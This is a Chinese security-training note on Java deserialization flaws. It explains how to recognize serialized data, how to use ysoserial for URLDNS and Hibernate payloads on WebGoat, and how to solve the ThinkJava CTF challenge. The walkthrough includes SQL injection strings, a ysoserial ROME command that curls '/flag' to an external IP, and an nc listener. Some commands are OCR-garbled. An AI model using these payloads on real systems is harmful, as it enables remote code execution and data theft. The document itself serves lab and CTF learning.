第47天 WEB攻防-通用漏洞&Java反序列化&EXP生成&数据提取&组件安全
知识点:
1、Java反序列化演示-原生API接☐
2、Java反序列化漏洞利用-Ysoserial使用
3、Java反序列化漏洞发现利用点-函数&数据
4、Java反序列化考点-真实&CTF赛题-审计分析
#内容点:
1、明白Java反序列化原理
2、判断Java反序列化漏洞
3、学会-Ysoserial_工具使用
4、学会-SerializationDumper
5、了解-简要Java代码审计分析
#前置知识
序列化和反序列化的概念:
序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
尽管 Java 反序列化和 PHP 反序列化在处理对象的序列化和反序列化过程中都存在类似的安全问题,但它们之间还是有一些不同的地方:
序列化格式不同:Java 使用了自己的序列化机制来支持对象的序列化和反序列化,而 PHP 通常使用基于文本的序列化格式(如
serialize 和 unserialize 函数)进行序列化和反序列化。 序列化器实现方式不同:Java 序列化器实现了
Serializable 接口,并通过反射机制获取对象的属性值进行序列化。而 PHP 序列化器没有统一的接口,而是通过魔术方法(如
__sleep() 和 __wakeup())和自定义函数进行序列化和反序列化。 对象类型的检查方式不同:Java 反序列化将对反序列化的对象进行类型检查,并且只会反序列化已知类型的对象。
PHP的反序列化器则没有这样的限制,攻击者可以构造序列化数据来欺骗反序列化器。 可重写方法的触发方式不同:Java 反序列化器通过特定的方法(例如readObject())来触发可重写方法,而 PHP 反序列化器需要在序列化字符串中包含 O:classname: 格式的元信息来实现。
综上所述,虽然 Java 反序列化和 PHP 反序列化存在一些不同,但它们都必须小心处理反序列化的输入数据,以避免导致安全漏洞。
函数接口:
Java:Serializable Extemalizable接☐、fastjson、jackson、gson、
ObjectInputStream.read,ObjectobjectInputStream.readUnshared,XMLDecoder.read.
ObjectYaml.loadXStream.fromXML.ObjectMapper.readValue.JSON.parseObject
PHP:serialize()unserialize()
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网例络通信、数据传输、日志格式化存储、对象数
据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
3、出现具体:
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),Mll等
Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMl,JMS,JND1等
(\xac\Xed)xm IXstream,XmldEcoder (http Body:Content-type:application/xml)
json0 ackson,fastison)http请求中包含
发现:
黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&数搜索&功能模块
利用:
Ysoserials集成的jar包配合生成,特性的专业漏洞利用工具等
演示案例:
原生API -Ysoserial URLDNS使用
三方组件-Ysoserial支持库生成使用
解密分析-SerializationDumper数据分析
CTF赛题-[网鼎杯2020朱雀组]ThinkJava
#原生API-Ysoserial URLDNS使用
Serializable接口
Externalizable接口
没组件生成DNS利用:
https://github/com/frohoff ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all jar URLDNS http://9ar7xl anslog.cn">urldns.ser
思路:本地搭建序列化和反序列化操作,使用ysoserial 生成反序列化语句用来访问dnslog并保存到本地,当反序列化执行的对象为构造好的本地文件时,触发访问dnslog,造成信息外带。
#三方组件-Ysoserial支持库生成便用
https://github.com/WebGoat/WebGoat
此处讲解了wegooat靶场中Java反序列化关卡,首先通过抓包找到含有反序列化函数处,然后有两种,第一种结合原生类(比如 URLDNS)生成payload,第二种结合原生类hibernate生成payload(结合库文件生成的一般可以执行rce)
先结合库文件利用jar包生成特定payload,此处是利用hibemnate生成了弹出计算器的payload并保存到本地,然后将payload进行base64加密。有组件生成RCE1、生成:java-Dhibernate5 cp hibemnate-core-5.4.9 Final jar ysoserial-0.0.6-
SNAPSHOT-all jar ysoseral.GeneratePayload Hibernate1 “calc.exe”>x bin
2、解码:python java py
import base64
file open(“x bin”“rb”)
now flle read()
ba base64 D64encode(now)
print ba
file ciosen)
思路:先通过sql注入获取后台管理员账号密码admin admin@Rrrr_ctf_asde–然后通过账号密码测试接口确定当前登录信息–在验证用户信息处构造payload将flag发给vps。
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=’ union select (select name from user)#
dbName=myapp?a=’ union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html接口测试:
{
“password”:“admin@Rrrr_ctf_asde”,
“username”: “admin”
}
登录成功返回数据:
{ “data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”, “msg”: “登录成功”, “status”: 2, “timestamps”: 1617614357281 }
0x03 回显数据分析攻击思路
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
分析数据:
先利用py2脚本base64解密数据
import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)
再利用SerializationDumper解析数据 java反序列化字节转字符串工具
java -jar SerializationDumper-v1.11.jar aced000xxxx
0x04 生成反序列化payload
解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://47.94.236.117:4444/ -d @/flag” > flag.bin
利用py2脚本进行反序列化数据的提取
import base64
file = open(“flag.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
0x05 触发反序列化,获取flag
服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作
参考链接:https://blog.csdn.net/RABCDXB/article/details/124003575
版权归原作者 清歌secure 所有, 如有侵权,请联系我们删除。